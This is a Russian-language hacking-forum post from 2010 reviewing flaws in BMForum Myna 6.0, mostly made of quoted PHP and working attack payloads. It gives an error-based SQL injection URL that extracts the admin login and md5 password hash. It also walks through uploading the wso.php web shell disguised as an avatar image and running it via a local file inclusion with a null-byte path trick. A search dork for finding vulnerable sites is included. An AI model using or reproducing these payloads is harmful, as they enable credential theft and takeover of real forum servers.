RDot

RDot (https://rdot.org/forum/index.php)
-   Форумы (https://rdot.org/forum/forumdisplay.php?f=34)
-   -   Обзор уязвимостей BMForum (https://rdot.org/forum/showthread.php?t=151)

m0Hze 06.07.2010 22:45

Обзор уязвимостей BMForum
 
Author: http://www.bmforum.com/
Version: Myna 6.0

SQL-инъекция
[Зависимости: mq=off]

File: baidu.php

PHP код:

header("Content-type:application/xml; charset=utf-8"); 
... 
$tagname $_GET['tagname']; 
if (
$see_a_tags != && $tagname) { 
    
$query "SELECT * FROM {$database_up}tags WHERE tagname='$tagname' ORDER BY 'tagid' DESC LIMIT 1"
    
$result bmbdb_query($query);  
    
// Tags Row 
    
$tag_row bmbdb_fetch_array($result); 
    
$th_tags substr($tag_row['filename'], 1);  
    
// Threads 
    
$th_tags_ex implode("','"explode(","$th_tags)); 
    
$add_tag_sql " AND tid in('$th_tags_ex')";  
    
$forumtitle .= "- " $tagname

$query "SELECT p.*,u.ugnum,u.postamount,u.point FROM {$database_up}threads p LEFT JOIN {$database_up}userlist u ON u.userid=p.authorid WHERE p.id=p.tid $add_sql$add_tag_sql ORDER BY `changetime` DESC LIMIT 0,$minv"

Как видим уязвим первый запрос, результаты первого запроса участвуют во втором. Можно крутить и через второй запрос, там есть вывод, но так как вывод ошибок в этом форуме принудительный, проще и быстрее крутить как слепую.

Target:
Код:

http://localhost/bugs/bmp/baidu.php?tagname=2'+or+(select+*+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)r+group+by+concat((select+concat_ws(0x3a,username  ,pwd)+from+bmb_userlist+where+userid=1),floor(rand(0)*2)))u)+--+1
В современных браузерах выдаст ошибку XML-содержимого, поэтому открываем исходники и смотрим:

Код:

strong>Time</strong>: 2010-6-19 12:30pm<br />
<strong>Script</strong>: /bugs/bmp/baidu.php<br />
<br />
<strong>SQL</strong>: SELECT * FROM bmb_tags WHERE tagname='2' or (select * from (select count(*) from (select 1 union select 2 union select 3)r group by concat((select concat_ws(0x3a,username,pwd) from bmb_userlist where userid=1),floor(rand(0)*2)))u) -- 1' ORDER BY 'tagid' DESC LIMIT 1<br />
<strong>Description</strong>:  Duplicate entry 'admin:21232f297a57a5a743894a0e4a801fc31' for key 'group_key'<br />
<strong>Error NO.</strong>:  1062</p>

Передав скрипту ?tagname=1' узнаем префикс таблиц.
Пароли в простом md5.

Дорк: "Powered by BMForum Myna 6.0"

Заливка шелла
[Зависимости: права пользователя,rg=on]

Уязвимость состоит из двух частей, загрузка исполняемого кода на сервер, и его инклуд=выполение.

Загрузка кода

File: ua.php

PHP код:

$FILE_URL $_FILES['attachment']['tmp_name']; 
            
$FILE_NAME safe_upload_name($_FILES['attachment']['name']); 
            
$FILE_SIZE $_FILES['attachment']['size']; 
            
$FILE_TYPE safe_upload_name($_FILES['attachment']['type']); 
... 
if (
$upload && $check) { 
            
$upload_tmpurl "tmp/" $timestamp $currentext
            
move_uploaded_file($FILE_URL$upload_tmpurl); 
            
$size getimagesize($upload_tmpurl); 
             
            if ((
$size[0] > $maxwidth || $size[1] > $maxheight) && eregi("\.(gif|jpg|jpeg|swf|bmp|png)$"$FILE_NAME)) { 
                
imageshow($upload_tmpurl$maxwidth); 
                
$size[0] = $auto_width
                
$size[1] = $auto_height
            } 

            if (
$size[0] > $maxwidth || $size[1] > $maxheight) { 
                
$check 0
                
$reason $ua[5]; 
            } else { 
                
$upload_aname "upload/usravatars/" $timestamp "." $currentext
                
copy($upload_tmpurl$upload_aname); 
            }  
            
$todelportait explode('%'$thisavarts); 
            eval(
load_hook('int_ua_upload_process')); 
             
            @
unlink($upload_tmpurl); 
        } 

Target: Необязательно слать картинку, я просто переименовал wso.php в image.png, и он прошел все проверки, так как нет проверки, на выполнение команды getimagesize, скрипт просто смотрит, не превышают ли ее значения допустимых. а так как во всех своих значениях она вернула false, значение установленные форумом будут больше, и проверку пройдена. То есть, грузим шеленг. Смотрим адрес нашей аватары в профиле, и инклудим ее.

Локальный инклуд

File: /newtem/header/bsd01header.php

PHP код:

 global $log_hash$database_up$bmfopt$usertype$userpoint$language
include(
"lang/$language/hefo.php"); 

Target:
Загружаем аватарку с нашим кодом.
Код:

http://target/forum/p/newtem/header/bsd01header.php?language=/../../../upload/usravatars/1276946750.png[%00 or /////max///]&c=dir


Часовой пояс GMT +3, время: 03:37.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot